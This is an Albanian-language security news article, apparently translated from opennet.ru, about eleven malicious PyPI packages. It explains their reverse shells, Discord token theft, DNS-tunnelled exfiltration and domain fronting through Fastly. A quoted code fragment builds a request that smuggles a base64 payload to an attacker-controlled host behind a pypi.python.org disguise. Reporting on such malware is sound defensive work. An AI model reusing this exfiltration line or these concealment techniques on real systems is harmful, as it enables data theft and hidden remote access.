Në katalogun PyPI (Python Package Index) janë zbuluar 11 paketa që përmbajnë kod keqdashës. Para se të identifikoheshin problemet, paketat arritën të shkarkoheshin rreth 38 mijë herë. Paketat e identifikuara keqdashëse janë të veçanta për përdorimin e mënyrave të sofistikuara për të fshehur kanalet e komunikimit me serverët e keqbërësve.
- importantpackage (6305 shkarkime), important-package (12897) – krijonin një lidhje me një server të jashtëm duke u bërë si lidhje me pypi.python.org për të ofruar akses në shell (reverse shell) dhe përdornin programin trevorc2 për të fshehur kanalin e komunikimit.
- pptest (10001), ipboards (946) – përdornin DNS si një kanal komunikimi për të transferuar të dhëna në sistem (në paketën e parë emri i hostit, katalogu i punës, IP-ja e brendshme dhe e jashtme, në paketën e dytë – emrin e përdoruesit dhe të hostit).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) – identifikonin në sistem token-in e shërbimit Discord dhe e dërgonin në një host të jashtëm.
- trrfab (287) – dërgonte në një host të jashtëm identifikuesin, emrin e hostit dhe përmbajtjen e /etc/passwd, /etc/hosts, /home.
- 10Cent10 (490) – krijonte një lidhje të rikthyer shell me një host të jashtëm.
- yandex-yt (4183) – shfaqte një mesazh për kompromitimin e sistemit dhe ridrejtonte në një faqe me informacion të mëtejshëm për hapat e ardhshëm, që ofrohej përmes nda.ya.ru (api.ya.cc).
Një vëmendje të veçantë meriton metoda e qasjes në host të jashtëm, e përdorur në paketat importantpackage dhe important-package, të cilat përdorën një rrjet të shpërndarjes së përmbajtjes Fastly për të fshehur aktivitetin e tyre në katalogun PyPI. Në fakt, kërkesat dërgoheshin në serverin pypi.python.org (përfshirë, duke specifikuar emrin python.org në SNI brenda kërkesës HTTPS), por në titullin HTTP "Host" vendosej emri i serverit nën kontrollin e sulmuesve (sec.forward.io.global.prod.fastly.net). Rrjeti i shpërndarjes së përmbajtjes dërgonte të tilla kërkesa në serverin e sulmuesve, duke përdorur parametrat e lidhjes TLS me pypi.python.org.
Infrastruktura e PyPI mbështetet nga rrjeti i shpërndarjes së përmbajtjes Fastly, në të cilin për ngarkimin e kërkesave tipike përdoret një proxy transparent Varnish, dhe gjithashtu përpunimi i certifikatave TLS bëhet në nivelin CDN, jo në serverët përfundimtarë, për të organizuar kalimin e kërkesave HTTPS përmes proxy. Pavarësisht nga hosti që është target, kërkesat drejtohen në proxy, i cili përcakton hostin e nevojshëm nëpërmjet kokës HTTP "Host", emrat e domain-eve të hostëve lidhen me adresa IP tipike për të gjithë klientët e Fastly të balancuesve të ngarkesës CDN.
Serveri i sulmuesve gjithashtu regjistrohet në CDN Fastly, i cili ofron plane tarifore falas për të gjithë ata që dëshirojnë dhe madje lejon regjistrimin anonim. E veçanta është se për dërgimin e kërkesave te viktima kur krijohet "reverse shell" përdoret gjithashtu një skemë, por e iniciuar nga ana e hostit të sulmuesve. Nga ana tjetër, interaksioni me serverin e sulmuesve duket si një seancë legjitime me katalogun e PyPI, duke u enkriptuar me përdorimin e certifikatës TLS PyPI. Kjo teknikë, e njohur si "domain fronting", është përdorur më parë aktivisht për të fshehur emrin e hostit gjatë kalimit të bllokadave, duke përdorur mundësinë e ofruar nga disa rrjete CDN për të adresuar nëpërmjet HTTPS me një host të rremë në SNI dhe duke kaluar emrin e kërkuar të hostit në kokën HTTP Host brenda seancës TLS.

Për të fshehur aktivitetin e dëmshëm gjithashtu është përdorur paketa TrevorC2, e cila e bën ndërveprimin me serverin të ngjajë si navigim normal në web, për shembull, kërkesat e dëmshme dërgoheshin nën maskën e shkarkimit të imazhit "https://pypi.python.org/images/guid=" me informacionin e koduar në parametrin guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})
Në paketat pptest dhe ipboards është përdorur një qasje tjetër për të fshehur aktivitetin në rrjet, e cila është e bazuar në kodimin e informacionit të dobishëm në kërkesat për serverin DNS. Malware-i dërgon informacion, duke kryer kërkesa DNS të formës "nu4timjagq4fimbuhe.example.com", në të cilat përmes formatit base64 janë koduar të dhënat që dërgohen te serveri kontrollues. Sulmuesi merr të dhënat e mesazhit, duke kontrolluar serverin DNS për domenin example.com.
Burimi: opennet.ru
